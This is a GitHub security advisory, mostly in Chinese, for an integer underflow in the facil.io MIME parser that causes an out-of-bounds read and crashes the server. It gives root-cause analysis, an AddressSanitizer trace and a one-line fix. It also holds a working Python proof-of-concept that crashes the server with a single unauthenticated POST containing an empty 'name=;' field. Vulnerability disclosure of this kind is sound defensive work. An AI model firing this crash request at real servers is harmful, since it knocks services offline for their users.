theopaid/CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

GitHub: theopaid/CVE-2026-66729-Out-of-Bounds-Read-in-facil.io-MIME-Parser-leads-to-Server-Crash

披露 facil.io MIME 解析器中因 uint32_t 下溢导致的越界读取漏洞,并提供完整根因分析、PoC 脚本与修复方案。

Stars: 0 | Forks: 0

# 安全披露:facil.io MIME 解析器越界读取导致服务器崩溃 **分配的 CVE ID** CVE-2026-66729 **产品:** facil.io **受影响版本:** facil.io >= 0.6.0(所有 0.6.x、所有 0.7.x、master 版本);该漏洞是在 0.6.0 版本中引入 MIME 解析器时产生的 **组件:** `lib/facil/http/parsers/http_mime_parser.h` **CWE:** CWE-191(整数下溢),CWE-125(越界读取) **CVSS v3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) **研究员:** Theodosis Paidakis ## 摘要 当 `Content-Disposition` header 包含空字段名(`name=;`)时,multipart MIME body 解析器中的 `uint32_t` 下溢会导致越界读取。当 `name_len` 为零时,`name[name_len - 1]` 会溢出为 `name[0xFFFFFFFF]`,从而读取 `name` 指针之后约 4 GB 的数据。这会触发错误并导致服务器进程崩溃。只需一个未经身份验证的 POST 请求即可实现该攻击。 ## 根本原因 **`lib/facil/http/parsers/http_mime_parser.h`,第 235-241 行** ``` // lib/facil/http/parsers/http_mime_parser.h:235-241 } else { name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;") } if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read --name_len; ``` `name_len` 被声明为 `uint32_t`。对于输入 `name=;`,`memchr` 在与 `name` 相同的位置找到了 `;`,因此 `start - name = 0`。从值为零的 `uint32_t` 中减去 1 会溢出为 `0xFFFFFFFF`。表达式 `name[0xFFFFFFFF]` 会计算为 `name_ptr + 4294967295`,这远远超出了任何映射区域。 另一个分支中第 236 行的检查(`name[name_len - 1] == '\r'`)也具有相同的模式,但在那里 `name_len` 被计算为 `end - name`,在实际运行中它并不为零。 ## 概念验证 启动服务器,然后运行: ``` # poc_mime_oob_read.py import socket BOUNDARY = "B" body = ( "--B\r\n" "Content-Disposition: form-data; name=;\r\n" # empty name before semicolon "\r\n" "value\r\n" "--B--\r\n" ).encode() req = ( f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n" f"Content-Type: multipart/form-data; boundary=B\r\n" f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n" ).encode() + body s = socket.socket() s.connect(("127.0.0.1", 3000)) s.sendall(req) print(s.recv(4096)) # no response — server crashed print('Check the server') ``` ASAN 输出(已确认): ``` AddressSanitizer: BUS at http_mime_parser.h:241 x[10] = 0x00000000FFFFFFFF ``` ## 影响 单个请求就会导致 worker 进程崩溃。在多 worker 部署中,只有正在处理请求的 worker 会终止;master 进程会将其重新启动。在单 worker 模式下,服务器会直接下线。读取操作在数据返回之前就会触发错误,因此目前未证实存在信息泄露。 ## 修复方案 **`lib/facil/http/parsers/http_mime_parser.h`,第 241 行** ``` // lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard if (name_len > 0 && name[name_len - 1] == '"') --name_len; ```
标签:C/C++, MIME解析器, Web服务器, 事务性I/O, 安全漏洞, 拒绝服务, 整数下溢, 越界读取, 逆向工具, 配置错误